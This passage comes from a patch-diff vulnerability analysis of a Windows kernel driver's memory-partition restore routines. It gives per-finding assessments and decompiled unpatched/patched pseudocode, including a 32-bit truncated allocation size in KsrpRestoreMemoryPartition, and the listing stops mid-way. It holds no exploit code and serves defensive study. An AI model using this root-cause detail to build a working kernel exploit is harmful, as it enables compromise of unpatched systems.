&lt;li&gt;&lt;strong&gt;Impact:&lt;/strong&gt; This is a fail-fast hardening: the driver stops rather than continuing to mutate internal state after a failed restore. The rollback operated on driver-owned structures, not directly on attacker-supplied buffers, and no concrete memory-corruption primitive is demonstrable from the code. Severity is Low (robustness / defense-in-depth), and the direction is correct (the patched build is the stricter one).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Work-area free in page database teardown — No security-relevant change&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (refactor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrpPdDestroyDatabase&lt;/code&gt; (unpatched &lt;code&gt;0x1C000C8B0&lt;/code&gt;, patched &lt;code&gt;0x1400114F0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessment:&lt;/strong&gt; The unpatched build frees the work area via the helper &lt;code&gt;KsrPdFreeWorkArea(P[6])&lt;/code&gt;, which does &lt;code&gt;MmFreeMappingAddress(*P, tag)&lt;/code&gt; then &lt;code&gt;ExFreePoolWithTag(P, tag)&lt;/code&gt;. The patched build inlines the same two calls and adds &lt;code&gt;*v9 = 0&lt;/code&gt; between them. That store zeroes the mapping-handle field of the work area on the line immediately before the work area itself is freed, so it is dead and cannot prevent any use. The work-area pointer &lt;code&gt;P[6]&lt;/code&gt; is not read again after this point in either build, and the patch does not NULL the parent pointer. There is no reachable use-after-free. The additional &lt;code&gt;ZwSetSystemInformation(SystemPoolTagInformation|0x80, 0, 0)&lt;/code&gt; call on the teardown-with-free path is behavioral, not a memory-safety fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4: Partition range query allocation — No security-relevant change&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (refactor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrpHotAddPartitionMemory&lt;/code&gt; (unpatched &lt;code&gt;0x1C000AFC0&lt;/code&gt;, patched &lt;code&gt;0x14000DE34&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessment:&lt;/strong&gt; The allocation &lt;code&gt;ExAllocatePool2(258, 16 * (count + 3LL), tag)&lt;/code&gt; is computed in 64-bit arithmetic in both builds; at a count near &lt;code&gt;0xFFFFFFFF&lt;/code&gt; the size is about 68 GB and does not wrap. The two-call pattern (&lt;code&gt;KsrDbQueryPartitionRanges&lt;/code&gt; first for the count, then again to fill the buffer at &lt;code&gt;pool+48&lt;/code&gt;) is present unchanged in both builds, and &lt;code&gt;ZwManagePartition&lt;/code&gt; is used in both builds. The real differences are: two output parameters added to hand the count and range sum back to the caller, the &lt;code&gt;KsrPd&lt;/code&gt;→&lt;code&gt;KsrDb&lt;/code&gt; prefix rename, and removal of a &lt;code&gt;count &amp;lt;= 0xFFFFFFFF&lt;/code&gt; check that was a no-op after the count variable's type narrowed. None of these are a security fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (Finding 1)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: KsrpRestoreMemoryPartition @ 0x1C000B160 ---&lt;/span&gt;
&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// count2 (32-bit from KsrPdRetrieveMemoryRegion, flag 0x80000000)&lt;/span&gt;
&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v41&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// count1 (32-bit from KsrPdRetrieveMemoryRegion, flag 0)&lt;/span&gt;
&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v41&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// 32-bit add: sum TRUNCATED to 32 bits, then widened&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Pool2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;258&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v44&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1165128523&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// size from truncated sum&lt;/span&gt;
&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Pool2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// destination offset uses full 64-bit count1&lt;/span&gt;
&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// destination offset uses full 64-bit count2&lt;/span&gt;
&lt;span class="n"&gt;KsrPdRetrieveMemoryRegion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pool2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v41&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// writes count1 entries&lt;/span&gt;
&lt;span class="n"&gt;KsrPdRetrieveMemoryRegion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v42&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// writes count2 entries at Pool2+count1*8&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: KsrpRestoreMemoryPartition @ 0x14000DFF0 ---&lt;/span&gt;
&lt;span class="n"&gt;RegionMetadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrDbQueryRegionMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// single metadata size&lt;/span&gt;
&lt;span class="n"&gt;Pool2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;258&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1165128523&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// allocates metadata only&lt;/span&gt;
&lt;span class="c1"&gt;// persisted pages are processed via an MDL list:&lt;/span&gt;
&lt;span class="c1"&gt;//   MmMapLockedPagesSpecifyCache(MemoryDescriptorList, ...) + KsrDbAddBadPageRanges(...)&lt;/span&gt;
&lt;span class="c1"&gt;// the combined count-based buffer no longer exists&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt; (Finding 2)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: KsrpRestoreMemoryPartitionsWorker @ 0x1C000BCB0 ---&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpRestoreMemoryPartition&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;dword_1C0012178&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// walk internal database&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;matched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;partition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// dec [KsrpPdDatabase+0x24]&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;--*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// dec [KsrpPdDatabase+0x28]&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// zero entry&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: KsrpRestoreMemoryPartitionsWorker @ 0x14000E830 ---&lt;/span&gt;
&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpRestoreMemoryPartition&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// (optional ETW trace)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeBugCheckEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x211&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// fail-fast, no cleanup&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrpPdDestroyDatabase&lt;/code&gt; (Finding 3 — no security-relevant change)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: KsrpPdDestroyDatabase @ 0x1C000C8B0 ---&lt;/span&gt;
&lt;span class="n"&gt;KsrPdFreeWorkArea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// helper: MmFreeMappingAddress(*P, tag); ExFreePoolWithTag(P, tag);&lt;/span&gt;
&lt;span class="c1"&gt;// P[6] is not read again&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: KsrpPdDestroyDatabase @ 0x1400114F0 ---&lt;/span&gt;
&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;MmFreeMappingAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// zeroes a field of v9, which is freed on the next line (dead store)&lt;/span&gt;
